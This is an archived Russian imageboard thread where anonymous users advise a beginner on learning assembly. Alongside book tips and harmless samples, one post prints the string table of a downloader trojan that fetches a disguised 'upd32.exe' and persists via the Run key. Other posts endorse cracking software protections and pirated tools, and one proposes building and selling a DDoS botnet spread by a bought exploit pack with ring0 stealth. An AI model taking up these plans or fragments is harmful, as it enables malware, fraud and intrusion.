Сохранен 274
https://2ch.hk/b/res/70695829.html
Прошлые домены не функционирует! Используйте адрес ARHIVACH.VC.
24 декабря 2023 г. Архивач восстановлен после серьёзной аварии. К сожалению, значительная часть сохранённых изображений и видео была потеряна. Подробности случившегося. Мы призываем всех неравнодушных помочь нам с восстановлением утраченного контента!

Асcемблер

 Аноним Чтв 26 Июн 2014 09:13:07  #1 №70695829 
1403759587806.jpg

Привет Аноним. Подскажи мне вот такой вопрос.
Я очень сильно хочу изучить ассемблер но сколько бы я не смотрел видео обучающих сколько бы я не читал. Я НИХУЯ НЕ ПОНИМАЮ
Подумав мне пришла идея. Может стоит сходить в какой компьютерный магаз. Там по любому есть программисты и попроситься к ним на репетиторство лел.
Как думаешь?

Аноним Чтв 26 Июн 2014 09:14:18  #2 №70695866 

бамп

Аноним Чтв 26 Июн 2014 09:18:37  #3 №70695979 

бамп 1

Аноним Чтв 26 Июн 2014 09:19:52  #4 №70696015 

Изучай железо, дебил высокоуроневый.

Аноним Чтв 26 Июн 2014 09:19:58  #5 №70696018 

Проиграл.

Аноним Чтв 26 Июн 2014 09:20:23  #6 №70696028 

>>70695829
Программисты асма, лел? Вангую, что там будут одни ооп-дебилы, которые начнут тебе заливать про классы и полиморфов.

Аноним Чтв 26 Июн 2014 09:21:31  #7 №70696065 

>>70695829
Но нахуя? Асм уже даже на микроконтроллерах никому в сраку не уперся. Учи сишку.

Хонока Чтв 26 Июн 2014 09:21:36  #8 №70696069 

В эльдорадо на кассе работают программисты, которые ассемблер знают, подойди и спрашвай у них.

Аноним Чтв 26 Июн 2014 09:21:51  #9 №70696072 

Сам ассемблер прост как лом. Всё что он умеет - перекидывать байты по регистрам. Сложность в том что тебе нужно разложить всю задачу на самые элементарные составляющие. Даже банальный вывод символа превращается в цирк из десятка строк.

Аноним Чтв 26 Июн 2014 09:22:19  #10 №70696084 

>>70696065
Хочу разбираться в структуре работы любой программы.

Аноним Чтв 26 Июн 2014 09:22:49  #11 №70696098 

>>70695829
И ЗАНОСИШ В РЕГИСТР ЗНАЧЕНИЕ
@
И ВЫЗЫВАЕШ ПРЕРЫВАНИЕ
Вот и весь ассемблер.

sageАноним Чтв 26 Июн 2014 09:22:49  #12 №70696100 

>>70696069
Лал

Аноним Чтв 26 Июн 2014 09:23:26  #13 №70696115 

>>70695829

Качай любую пидорахинскую методичку про тасм

Аноним Чтв 26 Июн 2014 09:23:36  #14 №70696120 
1403760216656.gif

>>70695829
> сходить в какой компьютерный магаз.
> Там по любому есть программисты

Аноним Чтв 26 Июн 2014 09:24:24  #15 №70696140 

>>70696084
То сеть ты думаешь, что можно дизассемблировать прогу и глядя на код вкурить как что работает?

Аноним Чтв 26 Июн 2014 09:24:41  #16 №70696149 

>>70696115
Мн нужно с начало разобраться в работу компуктера. А потом наверно ассемблера? Так?
Дайте что почитать. Ну совсем критину, н разбирающимся в программировании.

Аноним Чтв 26 Июн 2014 09:24:41  #17 №70696151 

>Привет Аноним. Подскажи мне вот такой вопрос.
Я очень сильно хочу научиться готовить, но сколько бы я не смотрел видео обучающих сколько бы я не читал. Я НИХУЯ НЕ ПОНИМАЮ
Подумав мне пришла идея. Может стоит сходить в какой фастфуд. Там по любому есть повара и попроситься к ним на репетиторство лел.
Как думаешь?

Аноним Чтв 26 Июн 2014 09:24:59  #18 №70696155 

>>70695829
А что именно тебе не понятно?

Аноним Чтв 26 Июн 2014 09:26:20  #19 №70696190 

>>70696155 Ну там какие то байты, комманды mv, погуглил, это вообще переименование файлов

Аноним Чтв 26 Июн 2014 09:26:35  #20 №70696200 

>>70696140
Ну можно по крайней мере обойти ее защиту.

Аноним Чтв 26 Июн 2014 09:27:16  #21 №70696220 

>>70696149
Качай "Архитектуру компьютера" Таненбаума.

Аноним Чтв 26 Июн 2014 09:27:56  #22 №70696235 

>>70696155
Ну честно.. Все.

Аноним Чтв 26 Июн 2014 09:27:59  #23 №70696237 
1403760479507.png

>>70695829
Ассемблерогосподин в тренде.
задавайте свои ответы

Аноним Чтв 26 Июн 2014 09:28:49  #24 №70696254 

>>70696237
Поделись советом, книгами. С чего начинать изучать, что читать. Просто критину в программировании.

Аноним Чтв 26 Июн 2014 09:29:17  #25 №70696262 

>>70696200
Так тебя интересует защита или работа программ в целом? Защиты взламывать не так просто, не думаю что это по силам тому, кто даже не может даже начать изучение асма по манам из сети

Аноним Чтв 26 Июн 2014 09:29:23  #26 №70696265 

>>70695829
wasm.ru
Уроки Iczelion'а

Аноним Чтв 26 Июн 2014 09:29:43  #27 №70696272 

>>70696237
Где скачать бесплатно без смс IDA Pro спизженный из ESET'а?

Аноним Чтв 26 Июн 2014 09:30:16  #28 №70696284 

>>70696220
Уже скачиваю. Спасибо.

Аноним Чтв 26 Июн 2014 09:30:30  #29 №70696287 

>>70696151
Повара там есть.

Аноним Чтв 26 Июн 2014 09:30:36  #30 №70696288 

>>70696254
Рекоминдую начать с книги "Осемблир для критинав".

Аноним Чтв 26 Июн 2014 09:30:38  #31 №70696289 

Kr
          256
     Критиний

Аноним Чтв 26 Июн 2014 09:30:58  #32 №70696300 

>>70696254
http://www.wasm.ru/wault/
Уроки Iczelion'а читай, например

Аноним Чтв 26 Июн 2014 09:31:19  #33 №70696309 

>>70695829
НЕТ. Тогда смысл теряется. Программист должен всему научиться сам.

Аноним Чтв 26 Июн 2014 09:32:49  #34 №70696345 

>>70696265>>70696300
Харкачую, сам по ним ассемблер изучал.

Аноним Чтв 26 Июн 2014 09:32:55  #35 №70696346 

>>70696272
С рутрекера.
В ассемблере ничего сложного.

push {lr}
mov r0, #2
mov r1, #1
bl op_hui
pop {lr}
bx lr
Аноним Чтв 26 Июн 2014 09:33:36  #36 №70696365 

Вам всем немедленно нужно вступить.

Аноним Чтв 26 Июн 2014 09:33:39  #37 №70696368 

>>70696300>>70696265
Спасибо.
>>70696309
Я тебя умоляю.

Аноним Чтв 26 Июн 2014 09:34:42  #38 №70696396 

>>70695829

>Может стоит сходить в какой компьютерный магаз. Там по любому есть программисты и попроситься к ним на репетиторство

Штоблять? Ты поехавший? Или зелёный дохуя? Читай книжки.

Аноним Чтв 26 Июн 2014 09:36:03  #39 №70696423 
1403760963060.jpg

>>70696365
Одептировался.

Аноним Чтв 26 Июн 2014 09:36:33  #40 №70696437 

>>70696262
Защита.

Аноним Чтв 26 Июн 2014 09:38:33  #41 №70696474 

>>70696437
Большинство так называемых "защит" ломается нопами или джампами в нужное место.

sageАноним Чтв 26 Июн 2014 09:38:40  #42 №70696477 

>>70695829
>компьютерный магаз
>программисты
@H@H@H@H@H@H@H@H@H@H@

Аноним Чтв 26 Июн 2014 09:39:51  #43 №70696507 
1403761191278.png

>>70696262
>Защиты взламывать не так просто
Лол.
hr [esp-4]

Аноним Чтв 26 Июн 2014 09:40:56  #44 №70696534 

>>70696437
Ну тогда качай крякмисы и начинай практиковаться.

Аноним Чтв 26 Июн 2014 09:41:28  #45 №70696550 

>>70696474
Занопайте мне немного vmprotect'a и джампаните немного аспра.

Аноним Чтв 26 Июн 2014 09:41:50  #46 №70696555 

>>70695829

Люто проиграл с опа. В компьютерном магазине ты найдёшь только студентов, которые даже винду не смогут переустановить.

Аноним Чтв 26 Июн 2014 09:43:40  #47 №70696594 

>>70696200
основы можно понять из этого цикла:
http://wasm.ru/wault/article/show/ollydbg01
Потом идти на crackmes.de и качаться.

Аноним Чтв 26 Июн 2014 09:44:01  #48 №70696601 

Нахуй тебе этот ассемблер ОП? Осиль сначала высокоуровневый язык какой нибудь, хоть паскаль.

Аноним Чтв 26 Июн 2014 09:45:48  #49 №70696640 


urlmon db 'urlmon.dll',0
shell32 db 'shell32.dll',0
URLDownloadToFile db 'URLDownloadToFileA',0
ShellExec db 'ShellExecuteA',0
_reg db 'SOFTWARE\Microsoft\Windows\CurrentVersion\Run',0
fname db 'upd32.exe',0
regname db 'updatesvc',0

Аноним Чтв 26 Июн 2014 09:45:54  #50 №70696644 

А давайте вместо "слив засчитан" говорить "защита взломана"?

Аноним Чтв 26 Июн 2014 09:49:08  #51 №70696733 

>>70696601
>хоть паскаль
Нахуя он нужен? Учи блять PHP, JS+jQuery, RoR или яву. Самое востребованное сейчас.

Аноним Чтв 26 Июн 2014 09:49:52  #52 №70696746 

>>70695829
ОП, читай Кипа Ирвина "Язык ассемблера для процессоров Intel". Базарю, еще захочешь. Эта книга была единственной, которую я понял сразу. Там все излагается постепенно, а не CMP JNZ SHLD SHRD RCR ГРОБ ГРОБ КЛАДБИЩЕ с первых страниц.

Аноним Чтв 26 Июн 2014 09:50:20  #53 №70696756 
1403761820291.jpg

>>70696644
А давайте пойдем нахуй будем говорить "слив взломан"?

Аноним Чтв 26 Июн 2014 09:50:43  #54 №70696762 

>>70696746
спасибо посмотрю сейчас.

Аноним Чтв 26 Июн 2014 09:51:47  #55 №70696784 

>>70696640>>70696237>>70696346>>70696507
Асемблероопущенцы заполонили тренд, все в сишечку!

Аноним Чтв 26 Июн 2014 09:52:08  #56 №70696793 

>>70696733
Самое зашкварное гово это. Для обучение не пригодное.

Аноним Чтв 26 Июн 2014 09:52:09  #57 №70696795 

>>70696733
Толсто. Не калечь парню жизнь.

Аноним Чтв 26 Июн 2014 09:52:30  #58 №70696810 

>>70696784
Байтоебы заполнили тред, все в ООП!

Аноним Чтв 26 Июн 2014 09:55:09  #59 №70696863 

>>70696810
Иди XML распарси регулярками, ООПовец.

Аноним Чтв 26 Июн 2014 09:55:33  #60 №70696874 

>>70696237
И как живется тебе. На асме только в универе писал. Как вспомню, аж трисет. Жизни не хватит, чтобы что-нибудь написать. Такое ощущение, что чайной ложечкой яму копаешь. Что пишешь то?

Аноним Чтв 26 Июн 2014 10:00:02  #61 №70696977 

>>70696874
Ничего, лол.
Для себя маленькие утилитки да лоадеры.
А в основном реверс.

Аноним Чтв 26 Июн 2014 10:02:36  #62 №70697048 

>2014
>Низкоуровневые языки

Аноним Чтв 26 Июн 2014 10:03:03  #63 №70697061 

>>70696874
>Жизни не хватит, чтобы что-нибудь написать. Такое ощущение, что чайной ложечкой яму копаешь
Не сложнее сишки же!


DebugEvents_Loop:
invoke WaitForDebugEvent, offset dbe, INFINITE
test eax, eax
.IF ZERO?
invoke GetExitCodeProcess, pi.hProcess, offset ExitCode
invoke TerminateProcess, pi.hProcess, ExitCode
invoke CloseHandle, pi.hProcess
invoke CloseHandle, pi.hThread
invoke StatusOutput, offset szStat_PTerm
xor eax, eax
ret
.ENDIF
mov eax, dbe.dwDebugEventCode
.IF eax == EXCEPTION_DEBUG_EVENT
mov eax, dbe.u.Exception.pExceptionRecord.ExceptionCode
.IF eax == EXCEPTION_BREAKPOINT
mov eax, BpCounter
test eax, eax
jz BP_HANLDER_FIRST
dec eax
test eax, eax
jz BP_HANLDER_SECOND
invoke ContinueDebugEvent, dbe.dwProcessId, dbe.dwThreadId, DBG_EXCEPTION_NOT_HANDLED
jmp DebugEvents_Loop
include BP_HANDLER.ASM
invoke ContinueDebugEvent, dbe.dwProcessId, dbe.dwThreadId, DBG_CONTINUE
jmp DebugEvents_Loop
.ELSE
invoke ContinueDebugEvent, dbe.dwProcessId, dbe.dwThreadId, DBG_EXCEPTION_NOT_HANDLED
jmp DebugEvents_Loop
.ENDIF
.ELSEIF eax == EXIT_PROCESS_DEBUG_EVENT
invoke StatusOutput, offset szStat_EPDE
invoke CloseHandle, pi.hProcess
invoke CloseHandle, pi.hThread
xor eax, eax
ret
.ELSE
invoke ContinueDebugEvent, dbe.dwProcessId, dbe.dwThreadId, DBG_EXCEPTION_NOT_HANDLED
jmp DebugEvents_Loop
.ENDIF

Аноним Чтв 26 Июн 2014 10:10:02  #64 №70697248 

>>70697061
>.IF
Чито?

Аноним Чтв 26 Июн 2014 10:13:28  #65 №70697360 

>>70696190
тебе не ассемблер тогда надо, начни с чего попроще пока

Аноним Чтв 26 Июн 2014 10:13:55  #66 №70697367 
1403763235248.png

Бамп байтанам.

Аноним Чтв 26 Июн 2014 10:15:04  #67 №70697403 

>>70697248
макросы какие-то

Аноним Чтв 26 Июн 2014 10:15:44  #68 №70697422 

>>70697403
>какие-то
стандартные masm'овские

Аноним Чтв 26 Июн 2014 10:20:48  #69 №70697565 
1403763648488.jpg

>>70697367

Аноним Чтв 26 Июн 2014 10:21:03  #70 №70697573 

Эх, помню когда-то писал курсач, где прога на С++ делала разные штуки, а потом передавала инфу в ассемблерную прогу, которая тоже делала всякие штуки и возвращала обратно. А сейчас даже не помню как исходные данные объявляются.

Аноним Чтв 26 Июн 2014 10:21:43  #71 №70697595 

>>70696265
Тричую.

Аноним Чтв 26 Июн 2014 10:25:44  #72 №70697712 

Асм примитив, элементарщина же. Кто не осилил - тот даже не червь-пидор, а хуже на порядок.

Аноним Чтв 26 Июн 2014 10:27:50  #73 №70697777 

>>70697712
Сам асм то да, но вот соорудить на нем что-то годное это уже другой разговор.

Аноним Чтв 26 Июн 2014 10:30:51  #74 №70697855 


>>70697565
Лол, с чего тебе припекает?

Аноним Чтв 26 Июн 2014 10:34:30  #75 №70697956 

>>70697422
masm не юзал, поэтому не узнал

Аноним Чтв 26 Июн 2014 10:34:50  #76 №70697970 
1403764490730.png

>>70697855
С байтоебства такого хурдкорного.

Аноним Чтв 26 Июн 2014 10:36:26  #77 №70698020 

>>70696065
Т.е микроконтроллеры сейчас сами себя программируют? Не знал что они умеют.
инженер-робототехник

Инспектор Кот !moon8KASO. Чтв 26 Июн 2014 10:37:14  #78 №70698048 
1403764634769.jpg

>>70695829
>компьютерный магаз
>программисты
И асм не нужен. Только если ради хобби.

Аноним Чтв 26 Июн 2014 10:37:44  #79 №70698067 

>>70698020
>Т.е микроконтроллеры сейчас сами себя программируют?
Сишечка же.

Аноним Чтв 26 Июн 2014 10:38:01  #80 №70698073 

>>70696098
Одни вирусы и можете писать.

Аноним Чтв 26 Июн 2014 10:38:32  #81 №70698087 

>>70697970
Но ведь это просто отладчик.

Аноним Чтв 26 Июн 2014 10:41:18  #82 №70698167 

>>70698020
>вонаби-инженер-робототехник-студент-первокурсник
fix
На ассемблере смысла под мк уже писать особо нет, кроме как в обучающих целях. Кроме частных случае, где очень мало ресурсов.

Аноним Чтв 26 Июн 2014 10:42:39  #83 №70698211 

>>70698073
Как что-то плохое.

Аноним Чтв 26 Июн 2014 10:42:40  #84 №70698212 

>>70698067
Ну это понятно. Я так писал программы для mindstorm. Но не все микроконтроллеры нужно так программировать. Для серьезных вещей ассемблер даёт больше точности и меньше памяти.

Аноним Чтв 26 Июн 2014 10:43:03  #85 №70698226 

>>70698167
>Кроме частных случае, где очень мало ресурсов
Там где наши программисты - там всегда мало ресурсов!

Аноним Чтв 26 Июн 2014 10:44:18  #86 №70698261 

>>70698167
>где очень мало ресурсов.
Я понимаю еще лет 5-10 назад, но сейчас просто берешь контроллер побольше, если не хватает. Изменение энергопотребления несущественно, ну только если размер, но если это так критично, то брать в милипиздрическом корпусе.

Аноним Чтв 26 Июн 2014 10:44:32  #87 №70698263 

>>70698212
двачую этого няшу.
ассемблероеб-микроконтроллерщик

Аноним Чтв 26 Июн 2014 10:44:43  #88 №70698269 

>>70698211
Что-то бесполезное, а не плохое.

Аноним Чтв 26 Июн 2014 10:45:21  #89 №70698296 

с утра разметку проебал

Аноним Чтв 26 Июн 2014 10:46:52  #90 №70698354 

>>70698226
Валера, мало ресурсов было в начале 2000, когда трава была зеленее были всякие AVR да PIC с 512Б ОЗУ и 1КБ ПЗУ, сейчас МК стоят копейки и объем ресурсов вырос на порядок и больше, уже нет смысла писать на ассемблере неподдерживаемый код.

Аноним Чтв 26 Июн 2014 10:46:59  #91 №70698360 

>>70698212
Это не современно. Сейчас проще купить новый контроллер с лучшими параметрами, чем тратить более дорогое время разработчика на еблю с ассемблером.
Ассемблер для души, скорей всего.

Аноним Чтв 26 Июн 2014 10:47:28  #92 №70698378 
1403765248370.jpg

>>70695829
Начни с ассемблера попроще же. 8051 с любым эмулятором например, или калькулятора. Пикрелейтед

Аноним Чтв 26 Июн 2014 10:48:51  #93 №70698427 

>>70698261
Есть еще люди, живущие в манямирке МОП-44 и использующие некротини.

сосите сиблядки Аноним Чтв 26 Июн 2014 10:48:56  #94 №70698432 


format pe console
entry start

include 'win32ax.inc'

section '.text' code readable executable

start:

cinvoke printf,str30
cinvoke scanf,fmt,num2
stdcall getSin,num2,res2
cinvoke printf,str3,dword[num2],dword[num2+4],dword[res2],dword[res2+4]

finish:
invoke ExitProcess,0

proc getSin x,y
finit
push eax
mov eax,dword[x]
fld qword[eax]
fsin
mov eax,dword[y]
fstp qword[eax]
pop eax
ret
endp

section '.data' data readable writeable

str30 db 'Enter data for argument: ',0
str3 db 'With entered data sin(%.10lf) = %.10lf',13,10,0
fmt db '%lf',0
num2 dq ?
res2 dq ?

section '.idata' import data readable writeable

library kernel,'KERNEL32.DLL',\
msvcrt,'msvcrt.DLL'

import kernel,\
ExitProcess,'ExitProcess'

import msvcrt,\
printf,'printf',\
scanf,'scanf'

Аноним Чтв 26 Июн 2014 10:49:25  #95 №70698453 

>>70698360
Ну, да ассемблер больше для души сейчас. Но этот язык никогда не перестанет быть востребованым. И знать её, даже если ты не пишешь драйверы, нужно тем не менее. Хотя бы основы, что бы не стать маккакий маккакием.

Аноним Чтв 26 Июн 2014 10:49:59  #96 №70698478 

>>70698378
Я на таком играл.

Аноним Чтв 26 Июн 2014 10:51:25  #97 №70698528 

>>70698432
>section '.idata'
Ну это какой-то старый fasm. Сейчас можно вот без этого всего.

Аноним Чтв 26 Июн 2014 10:51:33  #98 №70698531 

>>70698354
Да. Проще написать быдлокодеру калькулятор, который жрёт полгигабайта памяти, чем утруждать себя знаниями о структуре памяти и её использовании.

Аноним Чтв 26 Июн 2014 10:51:33  #99 №70698532 
1403765493654.jpg

>>70695829
>сходить в компьютерный магаз
>там по любому есть программисты

сосите сиблядки Аноним Чтв 26 Июн 2014 10:51:55  #100 №70698549 

>>70698432
пишу с магазина

Аноним Чтв 26 Июн 2014 10:52:04  #101 №70698552 

>>70698360
Если у тебя массовое производство 100000 штук, дешевле писать на асме, чем впихнуть ты же мегу32 вместо 8

Аноним Чтв 26 Июн 2014 10:52:50  #102 №70698578 

>>70698552
ту

Аноним Чтв 26 Июн 2014 10:53:20  #103 №70698595 

>>70698354
>>70698226
>>70698261
Вы правда даже не подозреваете об областях науки и техники, где каждый килобайт на счету? Космос же.
Мимопроходил, весь тред не читал

Аноним Чтв 26 Июн 2014 10:53:31  #104 №70698600 

>>70698532
ТЫ ЧТО? ОНИ ЖЕ ПРОГРАМЕСТЫ! СИДЯТ ЗА КОПЛЮКТЕРНОМ, ЗНАЧИТ ПРОГРАМЕСТ!

Аноним Чтв 26 Июн 2014 10:53:31  #105 №70698602 
1403765611919.jpg

>Я очень сильно хочу изучить ассемблер но сколько бы я не смотрел видео обучающих сколько бы я не читал. Я НИХУЯ НЕ ПОНИМАЮ
Ты не понимаешь ассемблер потому, что не понимаешь устройство компьютера. Книжки и мануалы по ассемблеру не объясняют этого. Попробуй почитать про компьютеры вообще, например пикрелейтед или его же книга "Операционные системы". Как только у тебя в голове появится модель компьютера, ассемблер станет всего лишь самым примитивным способом указывать компьютеру, что делать.

Аноним Чтв 26 Июн 2014 10:54:35  #106 №70698633 

>>70698432
>msvcrt,'msvcrt.DLL'
>сосите сиблядки
Как тонко!

Аноним Чтв 26 Июн 2014 10:55:30  #107 №70698666 

>>70698595
А в космос разве нельзя запульнуть ай5, 16гб оперы и виндовс 8 на борту?

Аноним Чтв 26 Июн 2014 10:55:33  #108 №70698668 

>>70698595
Нет. Тут обсуждают полгигабайта памяти под калькулятор.

Аноним Чтв 26 Июн 2014 10:55:33  #109 №70698669 

>>70695829
Попробуй начать с конца - ломать программы. IDA Pro, Olly, описание команд из юрова и кракмисы, больше их

Аноним Чтв 26 Июн 2014 10:55:51  #110 №70698677 

>>70698552
Только если у тебя приложение уровня включения лампочки по нажатию на кнопку.
Что-нибудь уровнем выше типа Ethernet/Bluetooth/интерфейс пользователя/итд и ты потом будешь тратить годы на отлаживание всего этого говна (причем готовых стеков на ассемблере еще хуй найдешь).

Аноним Чтв 26 Июн 2014 10:56:21  #111 №70698691 

>>70698666
Сотона, всё можно. Можно графен3 чтоб скучно не было ещё.

Аноним Чтв 26 Июн 2014 10:56:25  #112 №70698693 

>>70698666
ай5 c троекратным дуюлированием на сапфировой подложке будет стоить как солнечная система и еще пару лун

Аноним Чтв 26 Июн 2014 10:56:53  #113 №70698716 

>>70698595
Поясни, как космос связан с
>каждый килобайт на счету
Я серьезно не понимаю.

Аноним Чтв 26 Июн 2014 10:57:21  #114 №70698730 

>>70698677
Безусловно да. Всё зависит от задачи

Аноним Чтв 26 Июн 2014 10:57:40  #115 №70698739 

>>70698531
Сразу видно студента-первокурсника, дорвавшегося до ардуины и не понимающего сути.

Аноним Чтв 26 Июн 2014 10:57:55  #116 №70698753 

>>70696151
> Может стоит сходить в какой фастфуд
Но ведь не в фастфуд, а в ПРОДУКТОВЫЙ МАГАЗИН.

Аноним Чтв 26 Июн 2014 10:58:02  #117 №70698758 

>>70698716
Иди нахуй. У тебя завтра экзамен по менеджменту

Аноним Чтв 26 Июн 2014 10:58:42  #118 №70698778 

>>70698360
Проиграл с диванного.
Я год назад буквально под 51 ядро писал, AT89C2051, ёба. Да, начал на Си, только вот в 2к это всё не влезло. Пришлось переписывать под асм, оптимизировать. Ещё куча мест, где вот так просто контроллер не сменишь, промышленное оборудование всякое, вся хуйня я писал вообще для электроники в вагоне поездов.
Так что асм ещё живёт.
Ну а учить асм, это понятно в Государственную Школу Хэкеров у Арви the Хэкера.
мимпокрокодил

Аноним Чтв 26 Июн 2014 10:58:48  #119 №70698785 
1403765928593.gif

>>70698378

Аноним Чтв 26 Июн 2014 10:58:59  #120 №70698794 

>>70698716 -> >>70698693

Аноним Чтв 26 Июн 2014 11:01:22  #121 №70698865 

>>70698595
Еще один долбоеб не понимающий, что разработка ПО большой командой на ассемблере - полный идиотизм:
What is the Mars Curiosity Rover's software built in?

It's running 2.5 million lines of C on a RAD750 processor manufactured by BAE. The JPL has a bit more information but I do suspect many of the details are not publicized. It does appear that the testing scripts were written in Python.

The underlying operating system is Wind River's VxWorks RTOS. The RTOS in question can be programmed in C, C++, Ada or Java. However, only C and C++ are standard to the OS, Ada and Java are supported by extensions. Wind River supplies a tremendous amount of detail as to the hows and whys of VxWorks.

The underlying chipset is almost absurdly robust. Its specs may not seem like much at first but it is allowed to have one and only one "bluescreen" every 15 years. Bear in mind, this is under bombardment from radiation that would kill a human many times over. In space, robustness wins out over speed. Of course, robustness like that comes at a cost. In this case, it's a cool $200,000 to $500,000.

An Erlang programmer talks about the features of the computers and codebase on Curiosity.

Аноним Чтв 26 Июн 2014 11:01:34  #122 №70698870 

>>70698785
>1920x640
HD-калькулятор, однако.

Аноним Чтв 26 Июн 2014 11:03:11  #123 №70698939 

>>70698666
1) Не пройдёт по нормам надёжности, энергопотребления, тепловыделения и прочим параметрам.
2) Сдохнет.
>>70698668
Японил.
>>70698865
Я тебе про космос, а ты мне про детскую игрушку. Окей.

Не буду создавать тред. Спрошу здесь Аноним Чтв 26 Июн 2014 11:04:42  #124 №70698992 

CS - для кода
DS - для данных

Зачем сегменты ES, FS, GS, SS, %%вставьте букву%%S ?
Чем программирование на x64 отличается от x86?

Аноним Чтв 26 Июн 2014 11:07:14  #125 №70699085 
1403766434201.jpg

>>70698939
>Я тебе про космос, а ты мне про детскую игрушку. Окей.

Аноним Чтв 26 Июн 2014 11:08:43  #126 №70699128 

>>70698992
сегментов может быть несколько

http://ru.wikipedia.org/wiki/X86-64
Архитектура x86-64 имеет:
16 целочисленных 64-битных регистра общего назначения (RAX, RBX, RCX, RDX, RBP, RSI, RDI, RSP, R8 — R15);
8 80-битных регистров с плавающей точкой (ST0 — ST7);
8 64-битных регистров Multimedia Extensions (MM0 — MM7, имеют общее пространство с регистрами ST0 — ST7);
16 128-битных регистров SSE (XMM0 — XMM15);
64-битный указатель RIP и 64-битный регистр флагов RFLAGS.

Аноним Чтв 26 Июн 2014 11:09:00  #127 №70699135 

>>70698992
>Зачем сегменты ES, FS, GS, SS, %%вставьте букву%%S ?
говно протухшего мамонта. сейчас господствует flat модель, где все - код данные стек аллах находятся в одном сегменте.

>Чем программирование на x64 отличается от x86?
в основном способом передачи параметров в процедуры.

Не буду создавать тред. Спрошу здесь Аноним Чтв 26 Июн 2014 11:09:03  #128 №70699137 

>>70698992
>SS
Для стека же. Вспомнил.

Аноним Чтв 26 Июн 2014 11:09:38  #129 №70699154 

>>70698992
ES - extended segment (дополнительный)
SS - stack segment (стековый)
остальных не помню.
В х64 регистры больше и их больше. Ну и параметры в сосновном не через стек передают.

Аноним Чтв 26 Июн 2014 11:10:11  #130 №70699167 

>>70699128
>8 80-битных регистров с плавающей точкой (ST0 — ST7);
у ксеонов в 64-моде 16 fpu-регистров.

Не буду создавать тред. Спрошу здесь Аноним Чтв 26 Июн 2014 11:11:11  #131 №70699197 

>>70699135
Фон-неймана отправили нахуй?
inb4 Еще бы блеза паскаля вспомнил

Аноним Чтв 26 Июн 2014 11:12:36  #132 №70699231 

>>70699197
Нахуй он нужен, чтобы все указатели были разного несовместимого типа, как в АВР ROM RAM и EEPROM все разные области.

Аноним Чтв 26 Июн 2014 11:14:55  #133 №70699297 

>>70695829
Двач, я смотрю, я тут не один асмом да реверсом увлеваюсь, а может мы попробуем приват бота написать пиздатого, отлаженного? А потом прогрузим через связку сплоитов купленную, или продавать будем билдер, нампример. Хороший билдер и 2 и 3 косаря зелени стоить может, 15-20 продаж - реальная сумма получается, посчитай. В среднем 4-5 человек пишут такой проект от полугода до года, это с готовым релизом весом до 60-70 кбайт, упакованный. Насколько реальны ваши познания в низкоуровневом кодинге, стелсе, ринг0, и хуках, а, коллеги?

Не буду создавать тред. Спрошу здесь Аноним Чтв 26 Июн 2014 11:16:25  #134 №70699362 
1403766985275.jpg

>>70699297
>продавать
>коммерческое предложение
>анонимная борда

Аноним Чтв 26 Июн 2014 11:18:28  #135 №70699438 

>>70698269
>Вирусы
>Бесполезное
Я аж чаем поперехулся.

Аноним Чтв 26 Июн 2014 11:20:18  #136 №70699514 

>>70698778
>год назад
>Атмеловский восьмибитник
Ну ё-мое. Я говорю про современную разработку. А ты про воскрешение мертвых.
С промышленным оборудованием не работал, но предположу, что проще заменить целый модуль, чем выковыривать контроллер и заставлять его плясать по-новому. А все эти телодвижения с прошивкой восьмибитников, про которые даже сам из создатель забыл, лишь следствие недальновидной скупости начальства.
>>70698794
Для таких целей используют ASICи и иже с ними. Если запускается все-таки программа на специальном контроллере, то в самой программе будет столько проверок на контрольные суммы, что ни о какой экономии памяти никто думать не будет и весь код на АСМе писать ебанутся.

Аноним Чтв 26 Июн 2014 11:21:41  #137 №70699565 

>>70699297
>бота написать пиздатого, отлаженного
лел. просто лул.
бота под что? под банки? на чем отлаживать будешь? и т.д.
проще лоадер написать и пусть им грузят что хотят.
>ринг0
это лишнее сейчас

Аноним Чтв 26 Июн 2014 11:23:53  #138 №70699661 

>>70699565
Блять, под ддос бота, имелось ввиду. Ну можно еще говна к нему прикрутить, само собой. Ринг0 лишнее? Ну охуеть теперь. Как ты стелс сделаешь, как ты чужое проинсталенное говно будешь перехватывать, как ты системные хуки будешь обрабатывать? Ладно, все ясно с вами.

Аноним Чтв 26 Июн 2014 11:24:52  #139 №70699698 

ОП, изучи сначала сишку, а потом уже спускайся на асм. Ванную что дропнешь на стадии си-указателей.

Аноним Чтв 26 Июн 2014 11:26:04  #140 №70699740 

>>70699661
Ты сначала скажи как ты собрался в р0 залезть.

Аноним Чтв 26 Июн 2014 11:26:24  #141 №70699752 

>>70699565
Отлаживать - ферма вируталок, для начала - 100 баксов в месяц стоит, затем - самый ссаный трафик, смотреть стату внимательно, слаьт дебаг логи, отслеживать похожие на блюскрин события и дампать, слать, реверсить. Как люди делают - так же и отлаживать. Лоадер - хуита, ибо под каждого хорошего бота, криптованного, маленького, стабильного - нужен свой приватный лоадер. Универсумов в этом деле не бывает хороших.

Аноним Чтв 26 Июн 2014 11:27:10  #142 №70699783 

>>70699698
Наиборот же. Мне понятие как стек работает и параметры передаются только с асмом пришло.

Аноним Чтв 26 Июн 2014 11:28:03  #143 №70699814 

>>70699740
Через приват баги, наверняка на зеродее можено купить. Ну как-то люди создают ботнеты по 100к хостов за пару месяцев, из которых 80к 100% онлайн и фулл контрол практически, с проксей, бекдорами и т.д. Значит, есть пути - надо только работать.

Аноним Чтв 26 Июн 2014 11:31:25  #144 №70699941 
1403767885569.jpg

>>70699814
>приват баги, наверняка на зеродее можено купить

Аноним Чтв 26 Июн 2014 11:31:57  #145 №70699962 

>>70699197
>Фон-неймана
Значение знаешь?

Аноним Чтв 26 Июн 2014 11:31:58  #146 №70699963 

А Юрова читать не модно чтоли ныньче блять?

Аноним Чтв 26 Июн 2014 11:32:32  #147 №70699984 

>>70695829
Программист из компьютерного мазага ИТТ. Задавай свой ответ, ОП.

Аноним Чтв 26 Июн 2014 11:33:43  #148 №70700041 

>>70699963
Кстати, да.

Аноним Чтв 26 Июн 2014 11:33:55  #149 №70700048 

>>70699941
Ну хз, как-то люди пишут же.

Аноним Чтв 26 Июн 2014 11:34:30  #150 №70700074 

>>70699963
>Юрова
Это такой Абель?

Аноним Чтв 26 Июн 2014 11:34:41  #151 №70700083 

Ассемблер вещь, если будешь мутить схемки.
Алсо могу книжки скинуть сюда, если крис касперски не будет против.

Аноним Чтв 26 Июн 2014 11:35:48  #152 №70700129 
1403768148254.jpg

>>70700083
>крис касперски
Мудак объебосный не нужен.

Аноним Чтв 26 Июн 2014 11:36:05  #153 №70700143 

